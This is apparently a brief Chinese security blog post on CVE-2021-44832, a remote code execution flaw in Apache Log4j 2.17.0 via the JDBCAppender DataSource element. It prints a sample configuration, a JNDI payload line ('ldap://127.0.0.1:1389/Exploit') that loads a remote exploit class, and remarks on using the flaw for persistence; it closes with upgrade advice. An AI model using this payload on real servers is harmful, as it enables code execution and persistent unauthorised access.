kalpa(楚门) 2021-12-29 11:02
CVE-2021-44832 – APACHE LOG4J 2.17.0 通过 JDBCAPPENDER 数据源元素RCE
0x01 前言
2021 年 12 月 28 日,有安全人员发布了关于 CVE-2021-44832 – APACHE LOG4J 2.17.0 的信息。
0x02 漏洞利用
<?xml version="1.0" encoding="UTF-8"?><Configuration status="error"><Appenders><JDBC name="databaseAppender" tableName="dbo.application_log"><DataSource jndiName="java:/comp/env/jdbc/LoggingDataSource" /><Column ...</JDBC></Appenders>…</Configuration>
把 DataSource 标签的内容更改为:
<DataSource jndiName="ldap://127.0.0.1:1389/Exploit"/>即可触发payload。
图解:
验证视频:
0x03 修复建议
将 Apache Log4j2 升级到 2.17.1、2.12.4 和 2.3.2 或更高版本。此漏洞利用门槛较高,得先拥有远程访问服务器和更改配置的权限;目前来看,其可作为权限维持的选项之一。
